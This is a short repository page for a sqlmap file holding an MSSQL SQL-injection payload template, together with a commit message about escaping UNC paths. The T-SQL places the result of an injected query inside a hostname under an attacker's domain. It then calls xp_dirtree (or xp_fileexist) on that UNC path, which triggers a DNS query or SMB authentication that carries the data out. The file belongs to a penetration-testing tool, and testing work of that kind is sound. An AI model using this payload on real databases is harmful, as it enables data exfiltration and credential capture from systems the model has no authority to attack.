sqlmap/data/procs/mssqlserver/dns_request.sql
Jason Juntunen 4d259790cd
Change MSSQL dns_request.sql to reduce escaping issues
Modified the xp_dirtree and xp_cmdshell UNC paths to use forward slashes instead of backslashes, and removed the space between the procedure name and quoted path.

These changes help to avoid escaping/encoding issues, for example when using JSON. MSSQL still handles it the same way and will cause a DNS query or SMB authentication attempt.
2025-01-23 21:14:45 -06:00

5 lines
195 B
Transact-SQL

DECLARE @host varchar(1024);
SELECT @host='%PREFIX%.'+(%QUERY%)+'.%SUFFIX%.%DOMAIN%';
EXEC('master..xp_dirtree"//'+@host+'/%RANDSTR1%"')
# or EXEC('master..xp_fileexist"//'+@host+'/%RANDSTR1%"')